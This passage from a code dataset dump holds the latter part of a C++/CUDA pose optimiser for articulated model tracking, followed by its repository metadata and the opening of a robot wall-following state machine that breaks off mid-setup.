streams\n    cudaStreamCreate(&_depthPredictStream);\n    cudaStreamCreate(&_posInfoStream);\n\n    _sigmas = 0;\n\n}\n\nOptimizer::~Optimizer() {\n    delete _predictionRenderer;\n    delete _lastElements;\n    delete _result;\n    for (int i=0; i<_maxModels; ++i) {\n        cudaFree(_dPts->hostPtr()[i]);\n    }\n    delete _dPts;\n    delete _JTJimg;\n\n    cudaFree(_dDebugDataAssocObsToMod);\n    cudaFree(_dDebugObsToModError);\n    cudaFree(_dDebugModToObsError);\n\n    cudaFree(_dDebugObsToModNorm);\n    cudaFree(_dDebugModToObsNorm);\n    cudaFree(_dError);\n    cudaFree(_dDebugDataAssocModToObs);\n\n    cudaFree(_dDebugIntersectionError);\n\n    cudaStreamDestroy(_depthPredictStream);\n    cudaStreamDestroy(_posInfoStream);\n\n}\n\nvoid Optimizer::unpack(Eigen::VectorXf & eJ,\n                       Eigen::MatrixXf & JTJ,\n                       float & e,\n                       float * sys,\n                       const float multiplier,\n                       const int dimensions) {\n\n    float * sys_eJ = sys;\n    float * sys_JTJ = &sys[dimensions];\n    float * sys_e = &sys[dimensions + JTJSize(dimensions)];\n\n    for (int j=0; j<dimensions; ++j) {\n        eJ(j) += multiplier*sys_eJ[j];\n        for (int i=0; i<=j; ++i) {\n            JTJ(i,j) += multiplier*sys_JTJ[((j*(j+1))>>1) + i];\n        }\n    }\n\n    e = multiplier*(*sys_e);\n\n}\n\nvoid Optimizer::generateObsSdf(MirroredModel & model,\n                               const Observation & observation,\n                               const OptimizationOptions & opts) {\n\n    generateObsSdfSplatZeroAndDistanceTransform(model,observation,opts);\n//    generateObsSdfDirectTruncated(model,observation,opts);\n\n}\n\nvoid Optimizer::generateObsSdfSplatZeroAndDistanceTransform(MirroredModel & model,\n                                                            const Observation & observation,\n                                                            const OptimizationOptions & opts) {\n    //    const float3 defaultOffset = model.getObsSdfoffset();\n    //    const float4 sdfCenter =  model.getTransformModelToCamera()*make_float4(defaultOffset.x,defaultOffset.y,defaultOffset.z,1);\n\n    Grid3D<float> & hObsSdf = *model.getObsSdf();\n    const uint3 & dim = hObsSdf.dim;\n    //    const float & resolution = hObsSdf.resolution;\n    //    const float4 o = make_float4(sdfCenter.x - resolution*dim.x*0.5,\n    //                                 sdfCenter.y - resolution*dim.y*0.5,\n    //                                 sdfCenter.z - resolution*dim.z*0.5,\n    //                                 1);\n\n    //    hObsSdf.offset = make_float3(o);\n\n    model.syncObsSdfHostToDevice();\n\n    {\n        splatObsSdfZeros(observation.dVertMap,\n                         observation.width,\n                         observation.height,\n                         model.getTransformModelToCamera(),\n                         model.getDeviceObsSdf(),\n                         hObsSdf.dim,\n                         opts.focalLength);\n\n        // TODO:\n        static float * dTmp = 0;\n        static float * dZ = 0;\n        static int * dV = 0;\n        static int maxDim = 0;\n        if ((dim.x+1)*(dim.y+1)*(dim.z+1) > maxDim) {\n            maxDim = (dim.x+1)*(dim.y+1)*(dim.z+1);\n            cudaFree(dTmp);\n            cudaFree(dZ);\n            cudaFree(dV);\n            cudaMalloc(&dTmp,dim.x*dim.y*dim.z*sizeof(float));\n            cudaMalloc(&dZ,(dim.x+1)*(dim.y+1)*(dim.z+1)*sizeof(float));\n            cudaMalloc(&dV,dim.x*dim.y*dim.z*sizeof(int));\n        }\n\n        distanceTransform3D<float,true>(model.getDeviceObsSdfData(),\n                                        dTmp,\n                                        dim.x,dim.y,dim.z,\n                                        dZ,dV);\n\n        cudaMemcpy(model.getDeviceObsSdfData(),dTmp,dim.x*dim.y*dim.z*sizeof(float),cudaMemcpyDeviceToDevice);\n\n    }\n\n}\n\nvoid Optimizer::generateObsSdfDirectTruncated(MirroredModel & model,\n                                              const Observation & observation,\n                                              const OptimizationOptions & opts) {\n\n    Grid3D<float> & hObsSdf = *model.getObsSdf();\n    const uint3 & dim = hObsSdf.dim;\n\n    computeTruncatedObsSdf(observation.dVertMap,observation.width,observation.height,model.getTransformCameraToModel(),model.getDeviceObsSdf(),dim,4);\n\n}\n\nvoid Optimizer::computeObsToModContribution(Eigen::VectorXf & eJ, Eigen::MatrixXf & JTJ, float & error,\n                                            const MirroredModel & model, const Pose & pose,\n                                            const OptimizationOptions & opts, const Observation & observation) {\n\n    const int dims = pose.getReducedDimensions();\n    const int modelNum = model.getModelID();\n\n    if (pose.isReduced()) {\n        const LinearPoseReduction * reduction = static_cast<const LinearPoseReduction *>(pose.getReduction());\n        if (reduction->isParamMap()) {\n            const ParamMapPoseReduction * paramMapReduction = static_cast<const ParamMapPoseReduction *>(reduction);\n            normEqnsObsToModParamMap(pose.getDimensions(),\n                                     dims, paramMapReduction->getDeviceMapping(),\n                                     observation.dVertMap, observation.width, observation.height,\n                                     model, opts, _dPts->hostPtr()[modelNum], _lastElements->hostPtr()[modelNum],\n                                     _result->devicePtr());\n        } else {\n            normEqnsObsToModReduced(pose.getDimensions(),\n                                    dims,\n                                    pose.getDeviceFirstDerivatives(),\n                                    observation.dVertMap,\n                                    observation.width, observation.height,\n                                    model,\n                                    opts,\n                                    _dPts->hostPtr()[modelNum],\n                                    _lastElements->hostPtr()[modelNum], // TODO\n                                    _result->devicePtr());\n        }\n    } else {\n        normEqnsObsToMod(dims,\n                         observation.dVertMap,\n                         observation.width, observation.height,\n                         model,\n                         opts,\n                         _dPts->hostPtr()[modelNum],\n                         _lastElements->hostPtr()[modelNum], // TODO\n                         _result->devicePtr(),\n                         0); // TODO\n    }\n\n    cudaMemcpy(_result->hostPtr(),_result->devicePtr(),(dims + JTJSize(dims) + 1)*sizeof(float),cudaMemcpyDeviceToHost);\n    unpack(eJ,JTJ,error,_result->hostPtr(),opts.lambdaObsToMod,dims);\n\n}\n\nvoid Optimizer::computeModToObsContribution(Eigen::VectorXf & eJ, Eigen::MatrixXf & JTJ, float & error,\n                                            const MirroredModel & model, const Pose & pose,\n                                            const SE3 & T_obsSdf_c,\n                                            const OptimizationOptions & opts) {\n\n    const int dims = pose.getReducedDimensions();\n\n    if (pose.isReduced()) {\n        const LinearPoseReduction * reduction = static_cast<const LinearPoseReduction *>(pose.getReduction());\n        if (reduction->isParamMap()) {\n            const ParamMapPoseReduction * paramMapReduction = static_cast<const ParamMapPoseReduction *>(reduction);\n            normEqnsModToObsParamMap(pose.getDimensions(),\n                                     dims, paramMapReduction->getDeviceMapping(),\n                                     _predictionRenderer->getDevicePrediction(),\n                                     _predictionRenderer->getWidth(),\n                                     _predictionRenderer->getHeight(),\n                                     model,\n                                     _result->devicePtr(),\n                                     _lastElements->devicePtr() + model.getModelID(),\n                                     opts.debugModToObsDA ? _dDebugDataAssocModToObs : 0,\n                                     opts.debugModToObsErr ? _dDebugModToObsError : 0,\n                                     opts.debugModToObsNorm ? _dDebugModToObsNorm : 0);\n        } else {\n            normEqnsModToObsReduced(pose.getDimensions(),\n                                    dims,\n                                    pose.getDeviceFirstDerivatives(),\n                                    _predictionRenderer->getDevicePrediction(),\n                                    _predictionRenderer->getWidth(),\n                                    _predictionRenderer->getHeight(),\n                                    model,\n                                    _result->devicePtr(),\n                                    _lastElements->devicePtr() + model.getModelID(),\n                                    opts.debugModToObsDA ? _dDebugDataAssocModToObs : 0,\n                                    opts.debugModToObsErr ? _dDebugModToObsError : 0,\n                                    opts.debugModToObsNorm ? _dDebugModToObsNorm : 0);\n        }\n    } else {\n        normEqnsModToObs(dims,\n                         _predictionRenderer->getDevicePrediction(),\n                         _predictionRenderer->getWidth(),\n                         _predictionRenderer->getHeight(),\n                         model,\n                         T_obsSdf_c,\n                         _result->devicePtr(),\n                         _lastElements->devicePtr() + model.getModelID(),\n                         opts.debugModToObsDA ? _dDebugDataAssocModToObs : 0,\n                         opts.debugModToObsErr ? _dDebugModToObsError : 0,\n                         opts.debugModToObsNorm ? _dDebugModToObsNorm : 0);\n    }\n\n    cudaMemcpy(_result->hostPtr(),_result->devicePtr(),(dims + JTJSize(dims) + 1)*sizeof(float),cudaMemcpyDeviceToHost);\n    unpack(eJ,JTJ,error,_result->hostPtr(),opts.lambdaModToObs,dims);\n\n}\n\nvoid Optimizer::computeSelfIntersectionContribution(Eigen::VectorXf & eJ, Eigen::MatrixXf & JTJ, float & error,\n                                                    const MirroredModel & model, const Pose & pose,\n                                                    const OptimizationOptions & opts,\n                                                    const MirroredVector<float4> & collisionCloud,\n                                                    const MirroredVector<int> & intersectionPotentialMatrix,\n                                                    const int nModels, const int debugOffset) {\n\n    const int dims = pose.getReducedDimensions();\n    const int modelNum = model.getModelID();\n\n    if (pose.isReduced()) {\n        const LinearPoseReduction * reduction = static_cast<const LinearPoseReduction *>(pose.getReduction());\n        if (reduction->isParamMap()) {\n            const ParamMapPoseReduction * paramMapReduction = static_cast<const ParamMapPoseReduction *>(reduction);\n            normEqnsSelfIntersectionParamMap(collisionCloud.devicePtr(),\n                                             collisionCloud.length(),\n                                             pose.getDimensions(),\n                                             dims,\n                                             model,\n                                             paramMapReduction->getDeviceMapping(),\n                                             intersectionPotentialMatrix.devicePtr(),\n                                             _result->devicePtr());\n        } else {\n            normEqnsSelfIntersectionReduced(collisionCloud.devicePtr(),\n                                            collisionCloud.length(),\n                                            pose.getDimensions(),\n                                            dims,\n                                            model,\n                                            pose.getDeviceFirstDerivatives(),\n                                            intersectionPotentialMatrix.devicePtr(),\n                                            _result->devicePtr());\n        }\n    } else {\n        normEqnsSelfIntersection(collisionCloud.devicePtr(),\n                                 collisionCloud.length(),\n                                 dims,\n                                 model,\n                                 intersectionPotentialMatrix.devicePtr(),\n                                 _result->devicePtr(),\n                                 opts.debugIntersectionErr ? _dDebugIntersectionError + debugOffset : 0);\n    }\n\n    cudaMemcpy(_result->hostPtr(),_result->devicePtr(),((dims-6) + JTJSize((dims-6)) + 1)*sizeof(float),cudaMemcpyDeviceToHost);\n\n    // TODO\n    Eigen::MatrixXf JTJtmp = Eigen::MatrixXf::Zero(dims-6,dims-6);\n    Eigen::VectorXf eJtmp = Eigen::VectorXf::Zero(dims-6);\n    unpack(eJtmp,JTJtmp,error,_result->hostPtr(),opts.lambdaIntersection[modelNum + modelNum*nModels],(dims-6));\n\n    eJ.tail(dims-6) += eJtmp;\n    JTJ.bottomRightCorner(dims-6,dims-6) += JTJtmp;\n\n}\n\nvoid Optimizer::computeIntersectionContribution(Eigen::VectorXf & eJ, Eigen::MatrixXf & JTJ, float & error,\n                                                const MirroredModel & srcModel, const MirroredModel & dstModel,\n                                                const Pose & pose, const OptimizationOptions & opts,\n                                                const MirroredVector<float4> & collisionCloud,\n                                                const int nModels, const int debugOffset) {\n\n    const int dims = pose.getReducedDimensions();\n    const int srcModelNum = srcModel.getModelID();\n    const int dstModelNum = dstModel.getModelID();\n\n    const SE3 T_ds = dstModel.getTransformCameraToModel()*srcModel.getTransformModelToCamera();\n    const SE3 T_sd = SE3Invert(T_ds);\n\n    if (pose.isReduced()) {\n        const LinearPoseReduction * reduction = static_cast<const LinearPoseReduction *>(pose.getReduction());\n        if (reduction->isParamMap()) {\n            const ParamMapPoseReduction * paramMapReduction = static_cast<const ParamMapPoseReduction *>(reduction);\n            normEqnsIntersectionParamMap(collisionCloud.devicePtr(), collisionCloud.length(),\n                                         pose.getDimensions(),dims,T_ds,T_sd,srcModel,dstModel,\n                                         paramMapReduction->getDeviceMapping(),_result->devicePtr());\n        } else {\n            normEqnsIntersectionReduced(collisionCloud.devicePtr(), collisionCloud.length(),\n                                        pose.getDimensions(),dims,T_ds,T_sd,srcModel,dstModel,\n                                        pose.getDeviceFirstDerivatives(),_result->devicePtr());\n        }\n    } else {\n\n        normEqnsIntersection(collisionCloud.devicePtr(), collisionCloud.length(),\n                             dims,T_ds,T_sd,srcModel,dstModel,_result->devicePtr(),\n                             opts.debugIntersectionErr ? _dDebugIntersectionError + debugOffset : 0);\n    }\n\n    cudaMemcpy(_result->hostPtr(),_result->devicePtr(),(dims + JTJSize(dims) + 1)*sizeof(float),cudaMemcpyDeviceToHost);\n    unpack(eJ,JTJ,error,_result->hostPtr(),opts.lambdaIntersection[srcModelNum + dstModelNum*nModels ],dims);\n\n}\n\nvoid Optimizer::optimizePose(MirroredModel & model,\n                             Pose & pose,\n                             const float4 * dObsVertMap,\n                             const float4 * dObsNormMap,\n                             const int width,\n                             const int height,\n                             OptimizationOptions & opts,\n                             MirroredVector<float4> & collisionCloud,\n                             MirroredVector<int> & intersectionPotentialMatrix,\n                             const dart::PosePrior * prior) {\n\n    int fullDims = pose.getDimensions();\n    int redDims = pose.getReducedDimensions();\n\n    Eigen::MatrixXf JTJ(redDims,redDims);\n    float totalLoss;\n    float lmLambda = opts.regularizationScaled[0];\n\n    bool predictionsNeeded = (opts.lambdaModToObs > 0);\n\n    Observation observation(dObsVertMap,dObsNormMap,width,height);\n\n    SE3 T_obsSdf_camera;\n    if (opts.lambdaModToObs > 0) {\n        generateObsSdf(model, observation, opts);\n        T_obsSdf_camera = model.getTransformCameraToModel();\n    }\n\n    for (int iteration=0; iteration < opts.numIterations; ++iteration) {\n\n        pose.projectReducedToFull();\n        model.setPose(pose);\n\n        if (predictionsNeeded) {\n            std::vector<const MirroredModel *> modelPtrs(1,&model);\n            _predictionRenderer->raytracePrediction(modelPtrs,_depthPredictStream);\n            cudaStreamSynchronize(_depthPredictStream);\n        }\n\n        JTJ = Eigen::MatrixXf::Zero(redDims,redDims);\n        Eigen::VectorXf eJ = Eigen::VectorXf::Zero(redDims);\n        totalLoss = 0.0;\n\n        float obsToModError = 0;\n        float modToObsError = 0;\n        float intersectionError = 0;\n\n        if (opts.lambdaObsToMod > 0) {\n            errorAndDataAssociation(dObsVertMap,dObsNormMap,width,height,model,opts,_dPts->hostPtr()[0],_lastElements->devicePtr(),_lastElements->hostPtr(),\n                    opts.debugObsToModDA ? _dDebugDataAssocObsToMod : 0, opts.debugObsToModErr ? _dDebugObsToModError : 0, opts.debugObsToModNorm ? _dDebugObsToModNorm : 0);\n            computeObsToModContribution(eJ,JTJ,obsToModError,model,pose,opts,observation);\n        }\n        if (opts.lambdaModToObs > 0) {\n            computeModToObsContribution(eJ,JTJ,modToObsError,model,pose,T_obsSdf_camera,opts);\n        }\n        if (opts.lambdaIntersection[0] > 0) {\n            computeSelfIntersectionContribution(eJ,JTJ,intersectionError,model,pose,opts,collisionCloud,intersectionPotentialMatrix,1,0);\n        }\n\n        //make JTJ symmetric\n        for (int i=0; i<redDims; i++){\n            for (int j=0; j<i; j++){\n               JTJ(i,j) = JTJ(j,i);\n            }\n        }\n\n        // ensure JTJ is full rank\n        JTJ += opts.regularization[0] * Eigen::MatrixXf::Identity(redDims,redDims);\n\n        SE3 T_mc = model.getTransformCameraToModel();\n\n        Eigen::MatrixXf A = JTJ;\n\n        for (int i=0; i<redDims; ++i) {\n            A(i,i) += lmLambda*A(i,i);\n        }\n\n        // compute update\n        Eigen::VectorXf dalpha = -A.ldlt().solve(eJ);\n        //            std::cout << dalpha.transpose() << std::endl;\n\n        // compute next pose\n        SE3 dT_mc = SE3Fromse3(se3(dalpha(0),dalpha(1),dalpha(2),dalpha(3),dalpha(4),dalpha(5)));\n        SE3 new_T_mc = dT_mc*T_mc;\n\n        for (int i=0; i<pose.getArticulatedDimensions(); ++i) {\n            if (!pose.isReduced()) {\n                pose.getReducedArticulation()[i] = std::min(std::max(model.getJointMin(i),pose.getReducedArticulation()[i] + dalpha(i+6)),model.getJointMax(i));\n            } else {\n                pose.getReducedArticulation()[i] = std::min(std::max(pose.getReducedMin(i),pose.getReducedArticulation()[i] + dalpha(i+6)),pose.getReducedMax(i));\n            }\n        }\n\n        pose.projectReducedToFull();\n        pose.setTransformCameraToModel(new_T_mc);\n        //pose.setTransformCameraToModel(T_mc);\n        model.setPose(pose);\n\n    }\n\n}\n\nvoid Optimizer::optimizePoses(std::vector<MirroredModel *> & models,\n                              std::vector<Pose> & poses,\n                              const float4 * dObsVertMap,\n                              const float4 * dObsNormMap,\n                              const int width,\n                              const int height,\n                              OptimizationOptions & opts,\n                              MirroredVector<SE3> & T_mcs,\n                              MirroredVector<SE3 *> & T_fms,\n                              MirroredVector<int *> & sdfFrames,\n                              MirroredVector<const Grid3D<float> *> & sdfs,\n                              MirroredVector<int> & nSdfs,\n                              MirroredVector<float> & distanceThresholds,\n                              MirroredVector<float> & normalThresholds,\n                              MirroredVector<float> & planeOffsets,\n                              MirroredVector<float3> &  planeNormals,\n                              std::vector<MirroredVector<float4> *> & collisionClouds,\n                              std::vector<MirroredVector<int> *> & intersectionPotentialMatrices,\n                              std::vector<Eigen::MatrixXf *> & dampingMatrices,\n                              std::vector<Prior *> & priors) {\n\n    // resize scratch space if there are more models than we've seen before\n    const int nModels = models.size();\n    const int nPriors = priors.size();\n    if (nModels > _maxModels) {\n        _dPts->resize(nModels);\n        for (int i=_maxModels; i<nModels; ++i) {\n            cudaMalloc(&_dPts->hostPtr()[i],width*height*sizeof(DataAssociatedPoint));\n        }\n        _dPts->syncHostToDevice();\n        _lastElements->resize(nModels);\n        _JTJ.resize(nModels);\n        for (int i=_maxModels; i<nModels; ++i) {\n            _JTJ[i] = new Eigen::MatrixXf();\n        }\n        _iterationSummaries.resize(nModels);\n\n        _maxModels = nModels;\n    }\n\n    bool predictionsNeeded = (opts.lambdaModToObs > 0);\n    Observation observation(dObsVertMap,dObsNormMap,width,height);\n\n    memcpy(planeOffsets.hostPtr(),opts.planeOffset.data(),nModels*sizeof(float));\n    memcpy(planeNormals.hostPtr(),opts.planeNormal.data(),nModels*sizeof(float3));\n    memcpy(distanceThresholds.hostPtr(),opts.distThreshold.data(),nModels*sizeof(float));\n    planeOffsets.syncHostToDevice();\n    planeNormals.syncHostToDevice();\n    distanceThresholds.syncHostToDevice();\n\n    std::vector<SE3> T_obsSdfs_camera;\n    if (opts.lambdaModToObs > 0) {\n        for (int m=0; m<nModels; ++m) {\n            generateObsSdf(*models[m],observation,opts); //,_negInfoStream);\n            T_obsSdfs_camera.push_back(models[m]->getTransformCameraToModel());\n        }\n    }\n\n    int sysSize = 0;\n    int modelOffsets[nModels];\n    int priorOffsets[nPriors];\n    for (int m=0; m<nModels; ++m) {\n        _iterationSummaries[m].resize(opts.numIterations);\n        modelOffsets[m] = sysSize;\n        sysSize += poses[m].getReducedDimensions();\n    }\n    for (int p=0; p<nPriors; ++p) {\n        priorOffsets[p] = sysSize;\n        sysSize += priors[p]->getNumPriorParams();\n    }\n\n    Eigen::SparseMatrix<float> sparseJTJ(sysSize,sysSize);\n    Eigen::VectorXf fullJTe(sysSize);\n\n    for (int iteration=0; iteration < opts.numIterations; ++iteration) {\n\n        sparseJTJ.setZero();\n        fullJTe = Eigen::VectorXf::Zero(sysSize);\n\n        for (int m=0; m<nModels; ++m) {\n            poses[m].projectReducedToFull();\n            models[m]->setPose(poses[m]);\n            T_mcs.hostPtr()[m] = models[m]->getTransformCameraToModel();\n        }\n        T_mcs.syncHostToDevice();\n\n        if (predictionsNeeded) {\n            // TODO: fix this\n            std::vector<const MirroredModel*> constModelPtrs(nModels);\n            for (int m=0; m<nModels; ++m) {\n                constModelPtrs[m] = models[m];\n            }\n            _predictionRenderer->raytracePrediction(constModelPtrs,_depthPredictStream);\n            _predictionRenderer->cullUnobservable(dObsVertMap,width,height,_depthPredictStream);\n        }\n        \n        errorAndDataAssociationMultiModel(dObsVertMap,dObsNormMap,width,height,nModels,\n                                          T_mcs.devicePtr(),T_fms.devicePtr(),\n                                          sdfFrames.devicePtr(),sdfs.devicePtr(),\n                                          nSdfs.devicePtr(),distanceThresholds.devicePtr(),\n                                          normalThresholds.devicePtr(),planeOffsets.devicePtr(),\n                                          planeNormals.devicePtr(),_lastElements->devicePtr(),\n                                          _dPts->devicePtr(),\n                                          opts.debugObsToModDA ? _dDebugDataAssocObsToMod : 0,\n                                          opts.debugObsToModErr ? _dDebugObsToModError : 0,\n                                          opts.debugObsToModNorm ? _dDebugObsToModNorm : 0,\n                                          _posInfoStream);\n\n\n//        int sysSize = 3*opts.contactPriors.size();\n//        for (int m=0; m<nModels; ++m) { sysSize += poses[m].getReducedDimensions(); }\n//        Eigen::MatrixXf JTJ = Eigen::MatrixXf::Zero(sysSize,sysSize);\n//        Eigen::VectorXf eJ = Eigen::VectorXf::Zero(sysSize);\n\n        cudaStreamSynchronize(_depthPredictStream);\n        cudaStreamSynchronize(_posInfoStream);\n\n        _lastElements->syncDeviceToHost(); // needed in compute obs to mod contribution\n//        for (int m=0; m<nModels; ++m) {\n//            std::cout << _lastElements->hostPtr()[m] << \" points associated to model \" << m << std::endl;\n//        }\n\n        int debugIntersectionOffset = 0;\n        if (opts.debugIntersectionErr) {\n            initDebugIntersectionError(_dDebugIntersectionError,_maxIntersectionSites);\n//            cudaMemset(_dDebugIntersectionError,0,_maxIntersectionSites*sizeof(float));\n        }\n        for (int m=0; m<nModels; ++m) {\n\n            MirroredModel & model = *models[m];\n            Pose & pose = poses[m];\n            const float lmLambda = opts.regularizationScaled[m];\n\n            const int dimensions = pose.getDimensions();\n            const int reducedDimensions = pose.getReducedDimensions();\n            Eigen::MatrixXf & JTJ = *_JTJ[m];\n            JTJ = Eigen::MatrixXf::Zero(reducedDimensions,reducedDimensions);\n            Eigen::VectorXf eJ = Eigen::VectorXf::Zero(reducedDimensions);\n//            float obsToModErr = 0;\n//            float modToObsErr = 0;\n            float intersectionError = 0;\n\n            if (opts.lambdaObsToMod > 0) {\n                computeObsToModContribution(eJ,JTJ,_iterationSummaries[m][iteration].errObsToMod,model,pose,opts,observation);\n                _iterationSummaries[m][iteration].nAssociatedPoints = _lastElements->hostPtr()[m];\n            }\n            if (opts.lambdaModToObs > 0) {\n                computeModToObsContribution(eJ,JTJ,_iterationSummaries[m][iteration].errModToObs,model,pose,T_obsSdfs_camera[m],opts);\n            }\n            if (opts.lambdaIntersection[m + m*nModels] > 0) {\n                computeSelfIntersectionContribution(eJ,JTJ,intersectionError,model,pose,opts,\n                                                    *collisionClouds[m],*intersectionPotentialMatrices[m], nModels,\n                                                    debugIntersectionOffset);\n            }\n            for (int d=0; d<nModels; ++d) {\n                if (d == m) { continue; }\n                if (opts.lambdaIntersection[m + d*nModels] > 0) {\n                    computeIntersectionContribution(eJ,JTJ,intersectionError,model,*models[d],pose,opts,\n                                                    *collisionClouds[m],nModels,debugIntersectionOffset);\n                }\n            }\n\n            // TODO: get rid of redundancy\n            // make JTJ symmetric\n            for (int i=0; i<reducedDimensions; i++){\n                for (int j=0; j<i; j++){\n                    JTJ(i,j) = JTJ(j,i);\n                }\n            }\n\n            // ensure JTJ is full rank\n            JTJ += opts.regularization[m] * Eigen::MatrixXf::Identity(reducedDimensions,reducedDimensions);\n\n            // add LM damping\n            for (int i=0; i<reducedDimensions; ++i) {\n                JTJ(i,i) += lmLambda*JTJ(i,i);\n            }\n\n            // add damping matrix\n            JTJ += *dampingMatrices[m];\n\n           // std::cout << JTJ << std::endl << std::endl << std::endl;\n\n            for (int i=0; i<reducedDimensions; ++i) {\n                for (int j=i; j<reducedDimensions; ++j) {\n                    if (JTJ(i,j) != 0) {\n                        sparseJTJ.coeffRef(modelOffsets[m]+i,modelOffsets[m]+j) = JTJ(i,j);\n                    }\n                }\n            }\n            fullJTe.segment(modelOffsets[m],reducedDimensions) = eJ;\n\n            debugIntersectionOffset += collisionClouds[m]->length();\n\n        }\n\n        if (opts.lambdaModToObs > 0) {\n            _lastElements->syncDeviceToHost();\n            for (int m=0; m<nModels; ++m) {\n                _iterationSummaries[m][iteration].nPredictedPoints = _lastElements->hostPtr()[m];\n            }\n        }\n\n        for (int p=0; p<priors.size(); ++p) {\n            priors[p]->computeContribution(sparseJTJ,fullJTe,modelOffsets,priorOffsets[p],models,poses,opts);\n        }\n\n        Eigen::VectorXf paramUpdate = -sparseJTJ.triangularView<Eigen::Upper>().solve(fullJTe);\n\n        for (int m=0; m<nModels; ++m) {\n            MirroredModel & model = *models[m];\n            Pose & pose = poses[m];\n\n            SE3 T_mc = model.getTransformCameraToModel();\n\n            SE3 dT_mc = SE3Fromse3(se3(paramUpdate(modelOffsets[m] + 0),paramUpdate(modelOffsets[m] + 1),paramUpdate(modelOffsets[m] + 2),\n                                       paramUpdate(modelOffsets[m] + 3),paramUpdate(modelOffsets[m] + 4),paramUpdate(modelOffsets[m] + 5)));\n            SE3 new_T_mc = dT_mc*T_mc;\n\n            for (int i=0; i<pose.getReducedArticulatedDimensions(); ++i) {\n                if (!pose.isReduced()) {\n                    pose.getReducedArticulation()[i] = std::min(std::max(model.getJointMin(i),pose.getArticulation()[i] + paramUpdate(modelOffsets[m] + i + 6)),model.getJointMax(i));\n                } else {\n                    pose.getReducedArticulation()[i] = std::min(std::max(pose.getReducedMin(i),pose.getReducedArticulation()[i] + paramUpdate(modelOffsets[m] + i + 6)),pose.getReducedMax(i));\n                }\n            }\n\n            pose.setTransformCameraToModel(new_T_mc);\n            //pose.setTransformCameraToModel(T_mc);\n            pose.projectReducedToFull();\n            model.setPose(pose);\n        }\n\n        for (int p=0; p<priors.size(); ++p) {\n            priors[p]->updatePriorParams(paramUpdate.data() + priorOffsets[p],models);\n        }\n\n    }\n\n    if (opts.debugJTJ) {\n\n        Eigen::MatrixXf denseJTJ(sysSize,sysSize);\n        for (int i=0; i<sysSize; ++i) {\n            for (int j=i; j<sysSize; ++j) {\n                denseJTJ(i,j) = sparseJTJ.coeff(i,j);\n                denseJTJ(j,i) = denseJTJ(i,j);\n            }\n        }\n        MirroredVector<float> JTJdata(sysSize*sysSize);\n        memcpy(JTJdata.hostPtr(),denseJTJ.data(),JTJdata.length()*sizeof(float));\n        JTJdata.syncHostToDevice();\n        visualizeMatrix(JTJdata.devicePtr(),sysSize,sysSize,_JTJimg->devicePtr(),320,240,make_uchar3(100,0,100),0.0f,500.0f);\n        _JTJimg->syncDeviceToHost();\n    }\n\n    CheckCudaDieOnError();\n}\n\n\n}\n", "meta": {"hexsha": "6796c5210b525e6406de96de4adf562f51bb8949", "size": 34385, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "src/optimization/optimizer.cpp", "max_stars_repo_name": "JonathanAMichaels/DARTPrimate", "max_stars_repo_head_hexsha": "c31bfeff29663407d59f29c2bec1dd332d22b84f", "max_stars_repo_licenses": ["BSD-2-Clause"], "max_stars_count": 1.0, "max_stars_repo_stars_event_min_datetime": "2018-10-10T13:18:48.000Z", "max_stars_repo_stars_event_max_datetime": "2018-10-10T13:18:48.000Z", "max_issues_repo_path": "src/optimization/optimizer.cpp", "max_issues_repo_name": "JonathanAMichaels/DARTPrimate", "max_issues_repo_head_hexsha": "c31bfeff29663407d59f29c2bec1dd332d22b84f", "max_issues_repo_licenses": ["BSD-2-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/optimization/optimizer.cpp", "max_forks_repo_name": "JonathanAMichaels/DARTPrimate", "max_forks_repo_head_hexsha": "c31bfeff29663407d59f29c2bec1dd332d22b84f", "max_forks_repo_licenses": ["BSD-2-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 44.1399229782, "max_line_length": 191, "alphanum_fraction": 0.5625127236, "num_tokens": 7703, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5078118642792043, "lm_q2_score": 0.2782567937024021, "lm_q1q2_score": 0.14130210115837077}}
{"text": "#include <math.h>\n#include <vector>\n\n#include <boost/bind.hpp>\n\n#include \"navigation/NavUtils.h\"\n#include \"navigation/WallFollower.h\"\n\nnamespace OutdoorBot\n{\nnamespace Navigation\n{\n\nWallFollower::WallFollower()\n    : goal_(Goal::LEFT),\n      input_(Input::EXECUTING_COMMAND)\n{\n  setupFSM();\n}\n\nvoid WallFollower::setupFSM()\n{\n  command_move_forward_state_    = fsm_.add_state();\n  move_forward_state_            = fsm_.add_state();\n  wait_for_obstacle_clear_state_ = fsm_.add_state();\n  command_turn_away_state_       = fsm_.add_state();\n  command_turn_into_state_       = fsm_.add_state();\n  wait_for_turn_state_           = fsm_.add_state();\n  successful_completion_state_   = fsm_.add_state();\n  prepare_for_timeout_state_     = fsm_.add_state();\n  timeout_state_                 = fsm_.add_state();\n\n  fsm_.set_entry_function(command_move_forward_state_, boost::bind(&WallFollower::on_enter_command_move_forward, this));\n  fsm_.set_update_function(\n      command_move_forward_state_, boost::bind(&WallFollower::on_update_command_move_forward, this));\n\n  fsm_.set_entry_function(move_forward_state_, boost::bind(&WallFollower::on_enter_move_forward, this));\n  fsm_.set_update_function(move_forward_state_, boost::bind(&WallFollower::on_update_move_forward, this));\n\n  fsm_.set_entry_function(\n      wait_for_obstacle_clear_state_, boost::bind(&WallFollower::on_enter_wait_for_obstacle_clear, this));\n  fsm_.set_update_function(\n      wait_for_obstacle_clear_state_, boost::bind(&WallFollower::on_update_wait_for_obstacle_clear, this));\n\n  fsm_.set_entry_function(command_turn_away_state_, boost::bind(&WallFollower::on_enter_command_turn_away, this));\n  fsm_.set_update_function(command_turn_away_state_, boost::bind(&WallFollower::on_update_command_turn_away, this));\n\n  fsm_.set_entry_function(command_turn_into_state_, boost::bind(&WallFollower::on_enter_command_turn_into, this));\n  fsm_.set_update_function(command_turn_into_state_, boost::bind(&WallFollower::on_update_command_turn_into, this));\n\n  fsm_.set_entry_function(wait_for_turn_state_, boost::bind(&WallFollower::on_enter_wait_for_turn, this));\n  fsm_.set_update_function(wait_for_turn_state_, boost::bind(&WallFollower::on_update_wait_for_turn, this));\n\n  fsm_.set_entry_function(\n      successful_completion_state_, boost::bind(&WallFollower::on_enter_successful_completion, this));\n  fsm_.set_update_function(\n      successful_completion_state_, boost::bind(&WallFollower::on_update_successful_completion, this));\n\n  